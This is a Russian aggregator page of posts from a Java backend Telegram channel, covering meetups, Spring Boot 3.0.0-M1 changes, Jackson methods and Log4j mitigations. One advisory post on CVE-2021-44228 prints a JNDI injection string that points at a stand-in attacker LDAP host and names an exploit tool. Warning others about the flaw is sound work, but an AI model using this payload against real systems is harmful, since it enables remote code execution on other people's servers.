Получи случайную криптовалюту за регистрацию!

middlejava

Логотип телеграм канала @middle_java — middlejava M
Логотип телеграм канала @middle_java — middlejava
Адрес канала: @middle_java
Категории: Технологии
Язык: Русский
Страна: Россия
Количество подписчиков: 1.24K
Описание канала:

Канал о backend и Java. Здесь вы найдёте статьи, книги, вакансии, описание работы с фреймворками и библиотеками Spring, Hibernate, JOOQ и др., учебные задачи, анонсы мероприятий.
По всем вопросам прошу связываться по email middle.java@mail.ru

Рейтинги и Отзывы

3.50

2 отзыва

Оценить канал middle_java и оставить отзыв — могут только зарегестрированные пользователи. Все отзывы проходят модерацию.

5 звезд

1

4 звезд

0

3 звезд

0

2 звезд

1

1 звезд

0


Последние сообщения 3

2022-01-26 15:02:07 #java #meetup #english

Сегодня 26 января в 19:00 MSK проводится бесплатное мероприятие Cloud Builders: Java Edition.

Программа:

- Грейс Дженсен и Джейми Колмен, Developers Advocate в IBM, с tech talk “15 factors needed to build cloud native applications”.

- Джонатан Вила, Senior Software Engineer в Red Hat и Java Champion с fireside chat в формате Cloud AMA (ask me anything).

- Евгений Сулейманов, Senior Software Engineer в Bizzabo, выступит с lightning talk: “The complexities of working with ES in distributed systems on the real project”.

Модератор: Максим Сальников, Developer Engagement Lead в Microsoft

Язык докладов: английский.

Участие бесплатное.

Регистрация:
https://build-up.cloud-builders.tech

@middle_java
t.me/middle_java
345 views12:02
Открыть/Комментировать
2022-01-24 19:55:18 #springboot3 #milestone #java

20 января 2022 года выпущен Spring Boot 3.0.0-M1

Учитывая информацию ниже, пока это бесполезный для применения релиз, чисто понимать, что работа ведется.

Релиз доступен в репозитории https://repo.spring.io/milestone.
В этом релизе бейзлайн повышен с Java 8 до Java 17.
Новые релизы Spring Boot 3.0 планируется выпускать каждые два месяца.
M2 должен появиться 24 марта. GA планируется в конце ноября.
Все API Java EE перенесены в аналогичные пакеты Jakarta EE.
Для большинства пользователей это означает, что нужно будет заменить импорты javax на jakarta.
Например, javax.servlet.Filter надо заменить на jakarta.servlet.Filter.
Несколько сторонних библиотек еще не выпустили версии, совместимые с Jakarta EE, поэтому не все функции Spring Boot 2.x доступны в данном релизе.
По мере адаптации библиотек, соответствующие функции будут появляться в релизах Spring Boot.

Spring Boot 3.0 требует Java 17 в качестве минимальной версии и Spring Framework 6.
Для Gradle-приложений, требуется Gradle 7.3 или более поздней версии.
В тех случаях, когда загрузка Spring зависит от спецификации Jakarta EE, версия 3.0 обновлена до версии, включенной в Jakarta EE 9. Например, Spring Boot 3.0 использует спецификации Servlet 5.0 и JPA 3.0.

Чтобы различать модули, поддерживающие Jakarta EE 8 и Jakarta EE 9, некоторые проекты выпустили модули для Jakarta EE 9 с другими ID артефактов. Например, Undertow использует суффикс -jakartaee9, а Hibernate использует -jakarta. Стартеры Spring Boot должны учитывать эти изменения. Если вы объявляете зависимости на сторонние модули напрямую, то вам может потребоваться обновить объявления зависимостей, используя ID артефактов, совместимых с EE 9.

На данный момент удалена поддержка следующих модулей:

- EhCache 3
- H2’s web console
- Hibernate’s metrics
- Infinispan
- Jolokia
- Pooled JMS
- REST Assured
- SMTP appending with Logback
- SMTP appending with Log4j 2

Поддержка Jersey также временно удалена, так как он еще не поддерживает Spring Framework 6.

Поддержка следующих зависимостей была удалена в Spring Boot 3.0:

- Apache ActiveMQ
- Atomikos
- EhCache 2
- Hazelcast 3

Управление зависимостями для Apache Johnzon было удалено в пользу Eclipse Yasson. Версия Apache Johnzon, совместимая с Jakarta EE 9, может использоваться со Spring Boot 3, но теперь вам надо указывать версию в объявлении зависимости.

Spring Boot 3.0.0-M1 переходит на новые версии следующих проектов Spring:

- Micrometer 2.0.0-M1
- Spring AMQP 3.0.0-M1
- Spring Batch 5.0.0-M1
- Spring Data 2022.0.0-M1
- Spring Framework 6.0.0-M2
- Spring Integration 6.0.0-M1
- Spring HATEOAS 2.0.0-M1
- Spring Kafka 3.0.0-M1
- Spring LDAP 3.0.0-M1
- Spring REST Docs 3.0.0-M1
- Spring Security 6.0.0-M1
- Spring Session 2022.0.0-M1
- Spring Web Services 4.0.0-M1

Также были обновлены многочисленные сторонние зависимости, некоторые наиболее примечательные из которых следующие:

- Artemis 2.20.0
- Hazelcast 5.0
- Hibernate Validator 7.0
- Jakarta Activation 2.0
- Jakarta Annotation 2.0
- Jakarta JMS 3.0
- Jakarta JSON 2.0
- Jakarta JSON Bind 3.0
- Jakarta Mail 2.0
- Jakarta Persistence 3.0
- Jakarta Servlet 5.0
- Jakarta Servlet JSP JSTL 2.0
- Jakarta Transaction 2.0
- Jakarta Validation 3.0
- Jakarta WebSocket 2.0
- Jakarta WS RS 3.0
- Jakarta XML Bind 3.0
- Jakarta XML Soap 2.0
- Jetty 11
- jOOQ 3.16
- Tomcat 10

Помимо перечисленных изменений, также внесены некоторые незначительные изменения и улучшения, в том числе:

Java SecurityManager устарел в JDK, поэтому его поддержка удалена.
CommonsMultipartResolver удален в Spring Framework 6, поэтому в релизе он тоже удален.

В общем боевой вариант увидим, думаю, через год.

@middle_java
t.me/middle_java
267 views16:55
Открыть/Комментировать
2021-12-31 21:37:37 #resume #cv #job

Нашёл очень интересные сервисы для анализа, оптимизации и прокачки резюме на базе текущих потребностей работодателей.

https://www.jobscan.co
https://www.topcv.com/cv-review

По ценам пока сильно не разбирался. На первый взгляд TopCV - бесплатный, у JobScan есть несколько тарифов, включая бесплатный, но и функционала у этого сервиса больше.

@middle_java
t.me/middle_java
288 views18:37
Открыть/Комментировать
2021-12-31 20:07:14
Друзья, поздравляю с наступающим Новым Годом!
Наша отрасль развивается, горизонты расширяются, нам главное не останавливаться в развитии и не распыляться в направлениях.
Желаю вам удовольствия от жизни, интереса в работе, гармонии в семье, не болейте ничем, включая модные нынче болячки, будьте востребованы и твердо идите по жизни.
С праздником!
329 views17:07
Открыть/Комментировать
2021-12-26 10:18:01 #maven #gradle #java

Для того чтобы за пару движений сконвертировать Maven pom.xml в Gradle gradle.build нужно всего лишь в корне проекта, где находится pom.xml, выполнить команду gradle init (gradle должен быть установлен).
Gradle найдет pom.xml и предложит его сконвертировать.

@middle_java
t.me/middle_java
391 views07:18
Открыть/Комментировать
2021-12-21 10:33:35 #java #jackson

В Jackson'e есть два похожих метода, которые преобразуют значение ноды в текст:
- asText ()
- textValue ()

Отличия в следующем:

- textValue - успешно сконвертирует только нативно текстовое значение ноды (например "example"), а если там будет например число, то он вернет null. Если значение равно null, то метод вернет null, в отличие от методов asText() и toString(), которые вернут стрингу "null". Если значение равно "null", то метод вернет стрингу "null".

- asText - попытается скастить любое значение ноды в текст, независимо от нативного типа. Например int 777 превратится в стрингу "777".

@middle_java
t.me/middle_java
397 viewsedited  07:33
Открыть/Комментировать
2021-12-13 16:02:16 #java #log4j #vulnerability #apache #mitigation

Способы устранения уязвимости найденной на днях в библиотеке log4j

1. Обновить библиотеку до версии 2.15.0​

Apache log4j выпустил обновление 2.15.0, которое устраняет эту уязвимость.

2. Активировать параметр formatMsgNoLookups​

Примечание:

Этот метод применим к log4j версий 2.10.0 и выше.

В log4j 2.15.0 этот флаг установлен по умолчанию.

Установите formatMsgNoLookups=true при конфигурировании log4j следующими возможными способами:

2.1. Передать как JVM флаг при вызове java

java -Dlog4j2.formatMsgNoLookups=true ...

2.2. Установить переменную окружения:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...

2.3. Или с помощью аргументов среды окружения JVM:

JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

@middle_java
t.me/middle_java
484 viewsedited  13:02
Открыть/Комментировать
2021-12-12 13:55:31 #log4j #security #bug

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.

Уязвимость является крайне опасной ввиду следующих причин:

Чрезвычайно широкое распростронение библиотеки в экосистеме Java
Крайне простой эксплойт
Возможность выполнения злоумышленником произвольной команды на сервере
Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)
Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}", при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.

Помимо схемы jndi:ldap: возможно использование jndi:rmi: и jndi:dns:

https://www.linux.org.ru/news/security/16685022

@middle_java
t.me/middle_java
510 views10:55
Открыть/Комментировать
2021-12-12 13:45:47 #apache #kafka #architecture

Архитектура использования Apache Kafka в разных компаниях.
Очень интересно взглянуть на реальные и успешные случаи её использования.

https://medium.com/softkraft/apache-kafka-use-cases-with-kafka-architecture-diagrams-577be32688e5

@middle_java
t.me/middle_java
493 views10:45
Открыть/Комментировать
2021-12-09 10:13:25
F*ckup meetup | СберМаркет х Podlodka

Где-то в параллельной вселенной сервера не падают, код пишется без ошибок, релизы выкатываются по плану без багов и горящих дедлайнов. «Успешный успех» ищите на других конференциях, а мы приглашаем вас на митап, где можно будет честно показать свои скелеты в шкафу и обсудить ИТ-факапы года.

Первое правило факап-клуба — поделись своим факапом.
Авторы «лучших» факапов получат приглашение на закрытую офлайн-встречу

Трансляция будет доступна для всех!



16 декабря, начало в 19:00 мск, Четверг

ОФЛАЙН И ОНЛАЙН

Регистрация на мероприятие
380 views07:13
Открыть/Комментировать